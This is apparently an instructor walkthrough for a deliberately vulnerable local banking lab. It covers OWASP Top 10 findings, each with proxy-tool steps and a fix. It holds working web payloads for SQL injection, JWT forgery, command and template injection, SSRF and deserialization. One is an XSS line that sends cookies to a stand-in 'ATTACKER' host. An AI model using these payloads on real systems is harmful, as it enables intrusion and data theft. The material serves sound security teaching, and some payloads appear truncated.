

# Meridian Trust

## Exploitation Findings & Proxy-Tool Walkthrough OWASP Top 10 Web Pentesting Lab

Security-training build · internal codename "VulnBank"

**⚠ INTENTIONALLY VULNERABLE — TEACHING USE ONLY — DO NOT  
DEPLOY ⚠**

Instructor edition · Burp Suite / OWASP ZAP steps · Verified findings  
Confidential training material

Security-training lab (internal codename "VulnBank"). Teaching walkthrough for the Meridian Trust online-banking application. Every finding below is **implemented and verified firing** in this codebase. Each entry gives: **location**, **proxy-tool (Burp Suite / OWASP ZAP) steps**, **payload**, **expected result**, and **remediation**.

**Lab base URL:** `http://127.0.0.1:3000` (or `PORT=3001` if 3000 is taken). **Seed creds:** `admin/admin`, `alice/password1`, `bob/hunter2`, `carol/letmein`.

## 0. Proxy setup (do this once)

**Burp Suite (Community/Pro)** 1. Proxy → Options → Proxy Listeners: confirm `127.0.0.1:8080` is running. 2. Browser: set HTTP/HTTPS proxy to `127.0.0.1:8080` (use FoxyProxy or Burp's built-in browser: Proxy → Open Browser). 3. Proxy → Intercept → **Intercept is on** to catch/modify requests; use **HTTP history** to review, and **Send to Repeater** (Ctrl+R) to replay/tamper. 4. Since the app is plain HTTP on localhost, no CA cert import is needed.

**OWASP ZAP** 1. Tools → Options → Local Proxies: `127.0.0.1:8080`. 2. Point the browser at it; browse the app to populate the **Sites** tree. 3. Right-click a request → **Open/Resend with Request Editor** to tamper, or **Attack** → **Fuzz** for automated payloads.

**General workflow for every finding:** browse the feature normally with intercept off to record a baseline request in HTTP history → **Send to Repeater** → modify the parameter → **Send** → observe the response.

## A01 — Broken Access Control

### VB-001 IDOR — read any account

- **Location:** `GET /account/:id` — `src/routes/accounts.js`
- **Proxy steps:** Log in as `bob`. Browse to your own account (note the id). Send `GET /account/1` to **Repeater**, change the id to `1` (admin treasury). Send.
- **Payload:** `GET /account/1`
- **Result:** Returns balance `$9999999` of an account you don't own.
- **Fix:** Verify `account.user_id === session.userId` before returning.

### VB-002 IDOR — any transaction

- **Location:** `GET /transaction/:id`
- **Steps:** In Repeater iterate `/transaction/1`, `/2`, `/3` (Burp Intruder → Sniper on the id for bulk enumeration).
- **Fix:** Ownership check + object-scoped queries.

### VB-003 / VB-007 Mass assignment → privilege escalation

- **Location:** `POST /profile/:id` — `src/routes/profile.js`
- **Steps:** Log in as `alice`. Intercept the profile save. Add a parameter `role=admin` to the body (Repeater or Intercept). Forward. Confirm via `GET /api/v1/users` that `alice` now has `role:admin`.
- **Payload (form):** `email=a@a.com&full_name=Alice&role=admin`

- **Result:** Vertical privilege escalation. Verified: `alice`→`admin`.
- **Fix:** Whitelist updatable fields; never bind `role` from user input.

## VB-005 Broken function-level authorization — admin panel

- **Location:** `GET /admin` — `src/routes/admin.js` (no role check)
- **Steps:** As a normal user (or with **no** session) request `GET /admin` in Repeater.
- **Result:** Full admin panel + all users' PAN/SSN.
- **Fix:** `requireRole('admin')` middleware on every `/admin/*` route.

## VB-006 Forced browsing

- **Location:** `/admin`, `/debug`, `/backup`, `/api/v1/*`; disclosed by `GET /robots.txt`.
- **Steps:** Read `/robots.txt`; feed the `Disallow` paths into Burp **Intruder** / ZAP **Forced Browse**.

## VB-008 / VB-075 Horizontal esc + negative-amount transfer (business logic)

- **Location:** `POST /transfer` — `src/routes/accounts.js`
- **Steps:** Intercept a transfer. Set `fromAcct` to an account you don't own, or set `amount` to a negative number to reverse the money flow.
- **Payload:** `fromAcct=2&toAcct=4&amount=-500&memo=x`
- **Result:** `-500` "transfer" moves \$500 from the *destination* into the source. Verified.
- **Fix:** Enforce `amount > 0`, ownership of `fromAcct`, balance limits, and DB-level atomic transactions.

## VB-009 / VB-202 Path traversal / LFI

- **Location:** `GET /download?file=` — `src/routes/files.js`
- **Steps:** Repeater: `GET /download?file=../.env` then `../../etc/passwd`. URL-encode `../` as `%2e%2e%2f` if a filter is present.
- **Result:** Reads `.env` (leaks `JWT_SECRET=secret123`) and system files. Verified.
- **Fix:** `path.normalize` + confine to a base dir; reject `...`.

## VB-012 / VB-013 CORS misconfiguration

- **Location:** global middleware — `src/server.js`
- **Steps:** In Repeater add header `Origin: https://evil.example`. Observe response reflects `Access-Control-Allow-Origin: https://evil.example` **and** `Access-Control-Allow-Credentials: true`.
- **Result:** Any origin can read authenticated responses.
- **Fix:** Allow-list origins; never combine `ACA0: *` /reflected origin with credentials.

## A02 — Cryptographic Failures

### VB-055 Plaintext passwords + VB-058 sensitive data exposure

- **Location:** `src/db.js`, exposed via `GET /api/v1/users` and `/admin`.
- **Steps:** Repeater: `GET /api/v1/users` (no auth).
- **Result:** JSON with cleartext `password`, `ssn`, `card_number` for every user. Verified.
- **Fix:** `bcrypt` / `argon2` hashing; never return secret fields; field-level authz.

## VB-059 Weak JWT secret

- **Location:** `POST /api/login`, secret `secret123` — `src/routes/api.js`
- **Steps:** `POST /api/login {username,password}` → capture the JWT. In Burp, send to **Decoder** or use the **JWT Editor** extension. Crack offline: `hashcat -m 16500 token.txt rockyou.txt` (recovers `secret123`). Re-sign a token with `role:admin`.
- **Fix:** 256-bit random secret from a secrets manager; short expiry.

## VB-014 JWT `alg:none` bypass

- **Location:** `auth()` in `src/routes/api.js`
- **Steps:** With **JWT Editor**, take any token, set header `{"alg":"none"}`, set payload `{"sub":1,"role":"admin"}`, remove the signature (leave trailing dot). Send to `GET /api/users`.
- **Payload:** `Authorization: Bearer eyJhbGciOiJIub251IiwidHlwIjoiSldUIiwiaWQiOiJhZG1pbjJ9.`
- **Result:** Full user dump incl. secrets. Verified.
- **Fix:** Pin `algorithms:['HS256']` in `jwt.verify`; reject `none`.

## VB-063 Insecure session cookie

- **Location:** `express-session` config — `src/server.js`
- **Steps:** In Burp HTTP history inspect `Set-Cookie` for `connect.sid`: no `HttpOnly`, `Secure`, or `SameSite`. Combined with any XSS (A03) the cookie is stealable via JS.
- **Fix:** `cookie:{httpOnly:true, secure:true, sameSite:'strict'}`.

## VB-065 Predictable reset token + VB-158 host-header injection

- **Location:** `POST /reset` — `src/routes/auth.js`
- **Steps:** Request a reset for `admin`. The token is `base64("<id>:<username>")` — fully forgeable in Burp **Decoder**. Also resend `POST /reset` with header `Host: evil.example`; the emitted reset link uses your Host → phishing/poisoning.
- **Fix:** Cryptographically random, single-use, expiring tokens; build links from a fixed configured origin.

## A03 — Injection

### VB-021 SQL injection — login bypass

- **Location:** `POST /login` (string-concatenated SQL) — `src/routes/auth.js`
- **Steps:** Intercept the login POST → Repeater. Set `username=admin' --` and any password.
- **Payload:** `username=admin' --&password=x`
- **Result:** Authenticated as admin without the password. Verified. SQL errors are also reflected (VB-105).
- **Fix:** Parameterized queries (`db.prepare('... WHERE username=? AND password=?')`).

### VB-022 UNION SQLi — data extraction

- **Location:** `GET /search?q=` — `src/routes/accounts.js`
- **Steps:** Repeater. First break out: `q=' --`. Determine column count with `ORDER BY n`. Then UNION the users table.
- **Payload:** `q=' UNION SELECT id,username,password,email,role,ssn,card_number FROM users --`

- **Fix:** Parameterized queries; least-privilege DB user.

## VB-030 Stored XSS + VB-031 Reflected XSS

- **Location:** transfer `memo` / support `body` (stored), `/search?q=` (reflected).
- **Steps:** Post a transfer/support message with an XSS payload; view `/account/:id`, `/support`, or `/message/:id`. For reflected, put the payload in `q`.
- **Payload:** `<script>fetch('http://ATTACKER/c?'+document.cookie)</script>` (cookie is HttpOnly-less, VB-063).
- **Result:** Script executes in victim/admin browser (blind XSS VB-036 fires in the admin `/support` view). Verified rendering unescaped.
- **Fix:** Output-encode ( `<%= %>` not `<%- %>` ), CSP, HTML sanitizer.

## VB-040 OS command injection

- **Location:** `POST /admin/ping` ( `execSync('ping -c 1 '+host)` ) — `src/routes/admin.js`
- **Steps:** Repeater: `host=127.0.0.1; id`. Blind variant: `host=127.0.0.1; sleep 5` and watch timing.
- **Result:** Returns `uid=... gid=...` — full command execution. Verified.
- **Fix:** Avoid the shell; use `execFile('ping', ['-c', '1', host])` with strict input validation.

## VB-043 Server-Side Template Injection (SSTI)

- **Location:** `display_name` rendered via `ejs.render` — `/greet`, `src/routes/profile.js`
- **Steps:** Set profile `display_name` to `<%= 7*7 %>` then GET `/greet`. Escalate to `<%= process.env.JWT_SECRET %>` or RCE via `global.process`.
- **Result:** Renders `49` → confirmed template evaluation. Verified.
- **Fix:** Never render user input as a template; treat as data.

## VB-161 XXE — external entity file read

- **Location:** `POST /import/xml` — `src/routes/misc.js`
- **Steps:** Repeater. Set `Content-Type: application/xml`, body: ```xml`

`]> `` - **Result:** Server returns the file contents inside (verified with /etc/hostname`).` -

**Fix:** Disable DTD/external entity processing in the XML parser.

## VB-045 CRLF / header injection (runtime-mitigated — teaching note)

- **Location:** `GET /setlang?lang=` — `src/routes/misc.js`
- **Steps:** `lang=en%0d%0aX-Injected:pwned`.
- **Note:** Node's HTTP core rejects CR/LF in header values ( `ERR_INVALID_CHAR` ), so header-splitting is blocked at runtime — a good example of a *platform* defense. The value still reflects into the body (reflected-XSS surface). Demonstrate both the attempt and why it fails.

## A04 — Insecure Design (Business Logic)

Covered above: **VB-075** negative-amount transfer, **VB-008** foreign source account. Additional: - **VB-077 Race condition / double-spend** — `POST /transfer` reads then writes with no atomic guard. - **Steps:** Burp **Turbo Intruder** / Repeater "Send group in parallel" — fire 20 identical transfers simultaneously to overdraw. ZAP: threaded fuzz. - **Fix:** Single atomic `UPDATE ... WHERE balance >= amount` in a DB transaction. - **VB-081 Reset without identity verification** — see VB-065.

---

## A05 — Security Misconfiguration

- **VB-105 Verbose stack traces** — trigger any error (e.g. malformed SQLi) → full stack in response. Verified.
  - **VB-106 Debug endpoint** — `GET /debug` dumps `process.env` incl. all secrets. Verified.
  - **VB-107 Default creds** — `admin/admin`.
  - **VB-108/111 Directory listing & backups** — `GET /backup`, `GET /uploads` list contents; `/download?file=../.env` reads secrets.
  - **VB-109 Missing security headers** — Burp HTTP history: no `Content-Security-Policy`, `Strict-Transport-Security`, `X-Frame-Options`, `X-Content-Type-Options`. **VB-110 Clickjacking:** the transfer page frames cleanly (build a PoC iframe).
  - **VB-113 Version banner** — `X-Powered-By: MeridianTrust/1.0 Express`; `GET /version` lists dependency versions.
  - **VB-114 Unrestricted upload** — `POST /upload` keeps the original filename and any type; upload `poc.svg` / `poc.html` containing script → served from `/uploads/poc.svg` with stored XSS (VB-164).
  - **Steps:** In Burp intercept the multipart upload; set filename to `x.svg`, body to an SVG with `<script>`. Then browse `/uploads/x.svg`.
  - **Fix:** allow-list extensions/MIME, randomize names, store outside webroot, `Content-Disposition: attachment`.
- 

## A06 — Vulnerable & Outdated Components

- **Location:** `package.json` pins `jsonwebtoken@8.5.1`, `lodash@4.17.11`, `marked@0.3.6`.
  - **Steps:** `GET /version` to fingerprint → cross-reference with `npm audit`, Snyk, or OSV.
  - `jsonwebtoken@8.5.1` → algorithm-confusion advisories (CVE-2022-23540/23541) — ties to VB-014/062.
  - `lodash@4.17.11` → prototype-pollution advisory (CVE-2019-10744).
  - `marked@0.3.6` → ReDoS / XSS.
  - **VB-124 Prototype pollution** — `POST /profile/:id` with JSON `{"__proto__": {"polluted": "x"}}` pollutes `Object.prototype` (verified via unsafe recursive merge).
  - **Fix:** upgrade, `npm audit fix`, lockfile + SCA in CI.
- 

## A07 — Identification & Authentication Failures

- **VB-087 No lockout / brute force** — `POST /login`. Burp **Intruder** (Sniper on `password`) or **Cluster bomb** for credential stuffing; no throttling. ZAP fuzz with a wordlist.
- **VB-091 Username enumeration** — login returns `No such user` vs `Wrong password`; `/reset` returns `No such user`. Enumerate valid users.

- **VB-093 Session fixation** — session id is not regenerated on login; set a known `connect.sid` pre-auth, then log the victim in.
  - **VB-101 Header-trust auth** — add header `X-User-Id: 1` to any request to act as admin (verified in middleware).
  - **Fix:** server-side auth only; never trust identity headers.
  - **Fix (general):** rate limiting + lockout, generic error messages, session rotation, MFA.
- 

## A08 — Software & Data Integrity Failures

- **VB-132 Unsigned import** — `POST /import/xml` (and JSON import) trust attacker-supplied data with no signature.
  - **VB-133 Missing SRI** — client scripts loaded without `integrity=`.
  - **VB-135 CSV/formula injection** — store a memo like `=cmd|'/C calc'!A1`; it lands unescaped in exported statements.
  - **Fix:** sign+verify imports, SRI hashes, prefix-sanitize CSV cells.
- 

## A09 — Security Logging & Monitoring Failures

- **VB-146/147** No auth/transfer/admin logging exists — run all attacks above and note nothing is recorded or alerted.
  - **VB-149** When logging is added naively it echoes secrets; **VB-046** unsanitized input allows forged log lines.
  - **Teaching:** contrast with a proper audit trail; show that the earlier brute force (VB-087) is invisible to defenders.
- 

## A10 — Server-Side Request Forgery (SSRF)

- **VB-138/139 Avatar-by-URL** — `GET /avatar/fetch?url=` fetches any URL server-side.
  - **Steps:** Repeater: `url=http://127.0.0.1:3000/debug` (reads internal-only debug/env), then `url=http://169.254.169.254/latest/meta-data/` (cloud metadata).
  - **Result:** Internal responses reflected back. Verified against internal `/version` & `/debug`.
  - **VB-140 Webhook tester** — `POST /webhook {"url":"http://127.0.0.1:3000/debug"}` — same primitive, verified.
  - **VB-142 Filter-bypass practice** — try `localhost`, `0.0.0.0`, `127.1`, decimal IP `2130706433`.
  - **Fix:** allow-list egress hosts, block link-local/loopback/RFC1918, resolve+pin DNS, no raw response reflection.
- 
-

# ADDITIONAL WIRED VARIANTS (batch 2 — all verified firing)

---

## Injection variants

### VB-044 NoSQL / object injection — login bypass

- **Location:** `POST /nosql-login` — `src/routes/injection2.js`
- **Proxy steps:** Repeater. Set `Content-Type: application/json`, body `{"username": "admin", "password": {"$ne": "x"}}`.
- **Result:** `{"ok": true, "role": "admin"}` — operator object bypasses the password check. Verified.
- **Fix:** Reject non-string credentials; cast/validate types; use parameterized queries.

### VB-023 boolean-blind & VB-024 time-based SQLi

- **Location:** `GET /blind?id=` — `src/routes/injection2.js`
- **Steps:** Repeater. `id=1 AND 1=1` → "User exists"; `id=1 AND 1=2` → "User not found" (boolean oracle). Time oracle: `id=1 AND 1=randomblob(100000000)` delays the response. Automate extraction with **sqlmap** pointed at the endpoint, or Burp Intruder + Grep-Match on "User exists".
- **Fix:** Parameterized queries.

### VB-025 second-order SQLi

- **Location:** `POST /so/set-nick` then `GET /so/lookup` — `src/routes/injection2.js`
- **Steps:** Store a payload nick (step 1), then trigger `/so/lookup` (step 2) where the stored value is concatenated into SQL. Classic two-request chain in Repeater.
- **Fix:** Parameterize on *use*, not just on input.

### VB-026 header-based SQLi

- **Location:** `GET /track` (uses `User-Agent`) — `src/routes/injection2.js`
- **Steps:** In Repeater set header `User-Agent: x' UNION SELECT password FROM users WHERE username='admin' --`.
- **Result:** Returns admin's password. Verified. Teaches attacking non-obvious injection points (headers/cookies).
- **Fix:** Never build SQL from any request-controlled value, headers included.

### VB-053 ReDoS

- **Location:** `GET /validate?email=` — `src/routes/injection2.js`
- **Steps:** Send `email=` + `30x a` + `!`. The catastrophic-backtracking regex hangs the single-threaded Node event loop (~60s in testing → full DoS).
- **Fix:** Linear-time regex / `re2`; input length caps; timeouts.

## JWT attack suite

### VB-062 Algorithm confusion (RS256 → HS256)

- **Location:** `GET /jwt/rs256/whoami` — `src/routes/jwtlab.js`; public key at `/jwt/pubkey`.
- **Steps (Burp JWT Editor):** Grab the public key from `/jwt/pubkey`. Forge an **HS256** token using the public-key PEM bytes as the HMAC secret, payload `{"sub":1,"role":"admin"}`. Send with `Authorization: Bearer <token>`. (Convenience: `GET /jwt/forge-demo` returns a ready forged token.)
- **Result:** Verified as admin. The server misconfig allows both RS256 and HS256 with the public key.
- **Fix:** Pin `algorithms:['RS256']`; keep verification key type and alg consistent.

### VB-060 kid header injection

- **Location:** `GET /jwt/kid/whoami` — the `kid` header is a filesystem path to the key.
- **Steps:** Craft `{"alg":"HS256","kid":"/dev/null"}`, sign with an **empty** secret. `/dev/null` reads as an empty key, so the signature verifies.
- **Result:** Verified admin claims with an empty key. Verified.
- **Fix:** Treat `kid` as an opaque lookup into a trusted keystore; never a path.

## GraphQL (`/graphql`, GraphiQL enabled)

### VB-175 introspection + VB-182 excessive exposure + VB-179 BOLA + VB-178 no field authz

- **Steps:** Browse `/graphql` (GraphiQL). Run the introspection query (Docs tab) to dump the schema. Then: `graphql { account(id:1){ acct_number balance owner{ username password ssn card_number } } }`
- **Result:** Any account + owner secrets returned with no authz. Verified.
- **VB-176 batching/alias brute:** send many aliased `login` fields in one request to bypass per-request rate limiting: `graphql { a:login(username:"admin",password:"admin"){role} b:login(username:"admin",password:"x"){role} }`
- **VB-177 nested-query DoS:** deeply nest `owner{ accounts{ owner{ accounts{...}}}}`.
- **Fix:** Disable introspection in prod, field-level authz, query depth/cost limits, drop sensitive fields.

## A08 Integrity

### VB-130/131 Insecure deserialization → RCE

- **Location:** `GET /integrity/prefs/load?prefs=<base64>` — `node-serialize.unserialize`.
- **Steps:** `GET /integrity/prefs/poc` returns a ready base64 payload (benign marker-file PoC). Send it as `?prefs=`. The embedded IIFE executes server-side.
- **Result:** Verified — wrote `/tmp/vulnbank_deser_pwned` (swap for any command).
- **Fix:** Never deserialize untrusted data with code-capable formats; use plain JSON + schema validation.

### VB-196 Zip Slip

- **Location:** `POST /integrity/import-zip` (multipart `archive`).

- **Steps:** Craft a zip whose entry name is `../../../../tmp/evil.txt` (Python `zipfile.writestr` preserves it). Upload it.
- **Result:** Verified — file written **outside** the extraction directory.
- **Fix:** Resolve each entry and confirm it stays within the target dir before writing.

## VB-135 CSV / formula injection

- **Location:** `GET /integrity/export.csv`.
- **Steps:** Store a transfer memo `=cmd|'/C calc'!A1` (or `=1+1`), then download the CSV; the cell is unescaped and executes when opened in a spreadsheet.
- **Result:** Verified — `=cmd|calc!A1` present in exported CSV.
- **Fix:** Prefix cells starting with `= + - @` with a quote; set safe content types.

## A02 Weak crypto (extra)

### VB-068 AES-ECB pattern leakage

- **Location:** `GET /crypto/ecb?text=` — identical 16-byte plaintext blocks → identical ciphertext blocks (verified). Classic "ECB penguin".
- **Fix:** Use AES-GCM (authenticated) with random nonces.

### VB-072 Reversible "encryption" token

- **Location:** `GET /crypto/token` / `GET /crypto/whoami?token=` — token is base64 of `user:role`.
- **Steps:** Decode in Burp Decoder, change `user:user` → `user:admin`, re-encode, replay. Verified `admin:true`.
- **Fix:** Signed tokens (HMAC/JWT with pinned alg) or server-side sessions.

## A07 OTP / MFA

### VB-098 client-side OTP + VB-099 brute + VB-100 reuse

- **Location:** `GET /otp/mfa/send`, `POST /otp/mfa/verify` — `src/routes/otp.js`.
- **Steps:** `mfa/send` leaks `debug_otp` to the client (client-side check → bypass in browser). Server-side: Burp **Intruder** over `code=0000..9999` with no lockout finds it; the code stays valid after use (reuse).
- **Fix:** Never send the OTP to the client; server-side verification, attempt limits, single-use, TOTP.

## A01/Client-side (extra)

### VB-173 Cross-Site WebSocket Hijacking + VB-174 missing message authz

- **Location:** `ws://127.0.0.1:3000/ws` — no `Origin` check, no per-message authz.
- **Steps:** From any origin, open the socket and send `{"cmd":"getUser","id":1}` / `{"cmd":"getAccount","id":1}`. Use Burp's WebSocket history/repeater or a small JS PoC page hosted on a different origin.
- **Result:** Verified — cross-origin page pulled admin's record incl. password.
- **Fix:** Validate `Origin` on upgrade, authenticate the socket, authorize every message, use CSRF-style WS tokens.

## ADDITIONAL WIRED VARIANTS (batch 3 — all verified firing)

---

### Injection (more)

#### VB-049 SSI injection

- **Location:** `GET /ssi?tpl=` — `src/routes/injection3.js`
- **Steps:** Repeater: `tpl=x<!--#exec cmd="id"-->` (URL-encode `#` as `%23`). Also `<!--#include file="/etc/passwd"-->`.
- **Result:** Command output returned ( `uid=...` ). Verified.
- **Fix:** Disable SSI processing of user input; never eval directives from data.

#### VB-048 LDAP injection

- **Location:** `GET /ldap?user=` — filter built by string concat.
- **Steps:** `user=*` (wildcard → matches all), or inject filter meta `user=admin)()`.
- **Result:** Returns all directory entries. Verified.
- **Fix:** Escape LDAP special chars; parameterized filters.

#### VB-029 Stacked-query SQLi

- **Location:** `GET /note?data=` (uses `db.exec`, multi-statement).
- **Steps:** `data=x')`; `UPDATE users SET role='admin' WHERE username='alice'; --`
- **Result:** alice escalated to admin. Verified.
- **Fix:** Parameterized single-statement queries; never `exec` user input.

#### VB-028 ORDER BY / column-name SQLi

- **Location:** `GET /sortusers?order=` (non-parameterizable context).
- **Steps:** `order=(CASE WHEN (SELECT password FROM users WHERE id=1) LIKE 'a%' THEN id ELSE username END)` — boolean-blind extraction via sort order.
- **Fix:** Allow-list sortable columns; map to fixed identifiers.

#### VB-042 Argument injection (option smuggling)

- **Location:** `GET /archive?path=` — args passed to `tar` split on spaces.
- **Steps:** `path=--checkpoint=1 --checkpoint-action=exec=id .` → tar executes `id` (no shell metacharacters needed).
- **Result:** Command execution. Verified. Teaches injection that survives shell-metachar filtering.
- **Fix:** Use `--` to end options, validate/allow-list arguments, avoid passing user data as flags.

### Business logic (more)

#### VB-172 HTTP Parameter Pollution

- **Location:** `GET /pay?amount=` — validation reads first value, charge uses last.

- **Steps:** `?amount=1&amount=1000000` → limit check sees `1`, charge is `1000000`. Verified.
- **Fix:** Reject duplicate params; canonicalize before validating and using.

## VB-104 Password change without current password

- **Location:** `POST /account/password` — session identity only.
- **Steps:** `new=hacked`. Chained with CSRF/XSS → account takeover. Verified.
- **Fix:** Require and verify the current password; re-auth for sensitive changes.

## VB-085 Client-trusted price

- **Location:** `POST /shop/buy` — server trusts body `price`.
- **Steps:** `{"item":"Gold Card","price":0}` → charged 0. Verified.
- **Fix:** Look up price server-side from a catalog; never trust client amounts.

## VB-086 Voucher/gift-card enumeration

- **Location:** `GET /voucher?code=` — unlimited attempts, boolean oracle.
- **Steps:** Burp **Intruder** over `GIFT-####`; grep `"valid":true`. Verified for `GIFT-0042`.
- **Fix:** Rate-limit, lockout, generic responses, high-entropy codes.

## VB-080 Currency rounding abuse

- **Location:** `GET /fx?amount=` — debit floored, credit rounded.
- **Steps:** Loop small amounts (`0.4`) where debit floors to 0 but credit rounds up.
- **Fix:** Consistent banker's rounding; integer minor-units; atomic accounting.

## Integrity / crypto (more)

### VB-136 Unverified webhook signature

- **Location:** `POST /integrity/webhook/receive` — HMAC header ignored.
- **Steps:** `{"event":"deposit","amount":999999,"acct":2}` → balance credited with no signature. Verified.
- **Fix:** Verify `HMAC(secret, requestBody)` in constant time before acting.

### VB-071 Hash length-extension

- **Location:** `GET /crypto/sign` / `/crypto/verify` — `MAC = md5(secret||data)`.
- **Steps:** Get a valid `(data, mac)` from `/crypto/sign`. Use `hashpump -s <mac> -d "<data>" -a "&admin=1" -k <keylen>` to forge a MAC for extended data without the secret; replay to `/crypto/verify`.
- **Fix:** Use HMAC (which is length-extension resistant), not `hash(secret||data)`.

## OAuth

### VB-103 Unvalidated `redirect_uri` + VB-102 missing `state`

- **Location:** `GET /oauth/authorize`, `/oauth/callback` — `src/routes/oauth.js`

- **Steps:** `authorize?client_id=vb&redirect_uri=https://evil.example&state=abc` → redirects the auth code to any host. `/callback` never validates `state` → login CSRF. Verified redirect to `evil.example?code=...`.
- **Fix:** Strict allow-list of `redirect_uri`; generate + verify `state`.

## Web cache & content-type

### VB-159 Cache poisoning (unkeyed header)

- **Location:** `GET /home-banner` reflects `X-Forwarded-Host` into a cacheable response.
- **Steps:** Send `X-Forwarded-Host: evil.example`; response (cacheable, header unkeyed) now serves an attacker script tag to all users. Verified. Use **Param Miner** to find unkeyed headers.
- **Fix:** Key the cache on all reflected inputs, or don't reflect untrusted headers.

### VB-160 Cache deception

- **Location:** `GET /account-info/*.css` — private data served with static-style caching.
- **Steps:** Lure a victim to `/account-info/x.css`; a shared cache stores their private page for you to fetch.
- **Fix:** Don't cache authenticated responses; validate path/extension mapping.

### VB-165 Content-type sniffing

- **Location:** `GET /raw?body=` — no `X-Content-Type-Options: nosniff`.
- **Steps:** `body=<script>alert(1)</script>`; browsers may sniff HTML and execute.
- **Fix:** Send `nosniff`; correct content types; `Content-Disposition: attachment` for downloads.

## Client-side ( `GET /client` — use browser DevTools)

- **VB-032 DOM XSS:** visit `/client#<img src=x onerror=alert(document.domain)>` — `location.hash` flows into `innerHTML`.
  - **VB-157 Reverse tabnabbing:** the `target=_blank` link has no `rel="noopener"`; the opened page can rewrite `window.opener.location` (phishing).
  - **VB-166 postMessage:** the handler never checks `event.origin` — any page can post messages that are rendered.
  - **VB-167 DOM clobbering:** injected `<a id=config><a id=config name=isAdmin>` makes `window.config.isAdmin` truthy → "ADMIN MODE".
  - **VB-169 Secrets in localStorage:** `authToken / pan` stored in `localStorage`, stealable by any XSS.
  - **Fix:** Encode DOM sinks + CSP; `rel="noopener noreferrer"`; validate `event.origin`; avoid named-element globals; keep secrets out of web storage.
-

## ADDITIONAL WIRED VARIANTS (batch 4 — all verified firing)

---

### VB-070 Padding oracle (AES-CBC)

- **Location:** `GET /crypto/po/token` , `GET /crypto/po/decrypt?data=` — `src/routes/cryptolab.js`
- **Steps:** Get `iv:ct` from `/po/token` . Flip a ciphertext byte and submit to `/po/decrypt` : bad padding → **403 "padding error"**, valid padding/bad content → **400 "content error"**. That distinguishable response is the oracle. Automate with **padbuster** / a CBC padding-oracle script to decrypt and forge tokens without the key.
- **Result:** Verified — 200 (valid) vs 403 (tampered).
- **Fix:** Authenticated encryption (AES-GCM); identical error + timing for all failures.

### VB-046 Log injection / forged entries

- **Location:** `GET /track-event?name=` , viewer `GET /logs` .
- **Steps:** `name=login%0aFAKE: ADMIN GRANTED` — the newline forges a second log line; `/logs` renders it (also XSS since unescaped).
- **Result:** Verified forged line in the log.
- **Fix:** Strip/encode CR/LF, structured logging, output-encode when displaying.

### VB-050 SMTP / email header injection

- **Location:** `GET /contact?subject=` — raw headers built from input.
- **Steps:** `subject=hi%0aBcc:victim@x.com` — CRLF smuggles a `Bcc` header into the message.
- **Result:** Verified injected `Bcc` .
- **Fix:** Reject CR/LF in header fields; use a mail library that separates headers from data.

### VB-047 XPath injection

- **Location:** `GET /xpath?user=` — filter built by concatenation.
- **Steps:** `user=' or '1'='1` → returns all users (auth-bypass pattern).
- **Result:** Verified matched all.
- **Fix:** Parameterized XPath / precompiled expressions; escape input.

### VB-194 Expensive query (DoS)

- **Location:** `GET /report?n=` — cartesian join, no pagination (capped at n=5 so the lab survives).
- **Steps:** Increase `n` ; rows scanned grows geometrically. Illustrates unbounded queries.
- **Fix:** Mandatory `LIMIT` / pagination, query cost limits, timeouts.

### VB-145 SSRF non-HTTP scheme + VB-069 blocklist bypass

- **Location:** `GET /proxy?url=` — `src/routes/advanced.js`
- **Steps:** `url=file:///etc/passwd` (file scheme read). Blocklist only bans `localhost` / `127.0.0.1` , so `url=http://0.0.0.0:3000/debug` (or `127.1` , decimal IP, `[::1]` ) reaches internal services.
- **Result:** Verified — `file://` leaked hostname; `0.0.0.0` reached internal `/version` while `127.0.0.1` returned 403.

- **Fix:** Allow-list egress, resolve+validate final IP against RFC1918/loopback/link-local, disable non-HTTP schemes.

### VB-034 Reflected XSS in 404 page

- **Location:** Express 404 handler in `src/server.js` (path echoed unescaped).
- **Steps:** Visit `/nonexistent<script>alert(1)</script>`.
- **Fix:** HTML-encode the reflected path; static error pages; CSP.

### VB-035 Referer-reflected XSS + VB-038 JSON served as `text/html`

- **Location:** `GET /welcome` (reflects `Referer`), `GET /api-echo` (JSON with `Content-Type: text/html`).
- **Steps:** Set header `Referer: <script>alert(1)</script>`; or hit `/api-echo?q=<script>...` where the wrong content type lets the browser execute it.
- **Fix:** Encode all reflected values; send correct `application/json` + `nosniff`.

### VB-154 CSRF via GET + VB-155 JSON CSRF

- **Location:** `GET /quick-transfer?to=&amount=` — state change over GET, no token.
- **Steps:** Host `` on any page; a logged-in victim who loads it transfers funds. Verified transfer with no token.
- **Fix:** CSRF tokens, `SameSite` cookies, never mutate state on GET, enforce content type.

### VB-092 Timing-based username enumeration

- **Location:** `GET /user-check?u=` — valid users incur an extra delay.
- **Steps:** Compare response times: `admin`  $\approx$  0.30s vs unknown  $\approx$  0.001s (verified). Burp Intruder + response-time column.
- **Fix:** Constant-time comparisons and uniform response times/paths.

### VB-198 EXIF metadata not stripped

- **Location:** `POST /upload` then `GET /exif?file=` — uploads retain metadata.
  - **Steps:** Upload a JPEG with EXIF; `/exif?file=` reports `exif_present:true` (GPS/camera data leaks to anyone who fetches the image). Verified.
  - **Fix:** Strip metadata on upload; re-encode images server-side.
-

## ADDITIONAL WIRED VARIANTS (batch 5 — all verified firing)

---

### VB-206 / VB-207 GraphQL mutations without authorization

- **Location:** `POST /graphql` — `setRole`, `transfer` mutations ( `src/routes/graphql.js` ).
- **Steps:** In GraphQL: `mutation{ setRole(userId:5, role:"admin"){username role} }` grants admin; `mutation{ transfer(from:1,to:4,amount:5000){balance} }` moves funds. No authz/limits.
- **Result:** Verified — carol→admin; \$5,000 moved.
- **Fix:** Enforce authentication + field/mutation-level authorization and business limits in resolvers.

### VB-208 Broken function-level authz via HTTP verb (no-auth PUT)

- **Location:** `PUT /user/:id` — `src/routes/morevulns.js`. UI exposes only GET reads; PUT updates any user (mass assignment).
- **Steps:** `curl -X PUT /user/4 -H 'Content-Type: application/json' -d '{"role":"admin"}'`.
- **Result:** Verified — bob→admin with no session. Test every verb, not just the ones the UI uses.
- **Fix:** Consistent authorization across all methods; whitelist writable fields.

### VB-209 IDOR via predictable account number

- **Location:** `GET /api/acct?num=` — no ownership check, account numbers are sequential ( `ACCT-100X` ).
- **Steps:** Enumerate `num=ACCT-1000` (treasury) with Burp Intruder.
- **Result:** Verified — returns treasury account.
- **Fix:** Authorize by session ownership; use unguessable identifiers.

### VB-210 Reflected File Download (RFD)

- **Location:** `GET /statement/export?name=` — user controls the download filename.
- **Steps:** `name=Meridian-Statement.bat` → a trusted-domain download with an executable extension and attacker-controllable content.
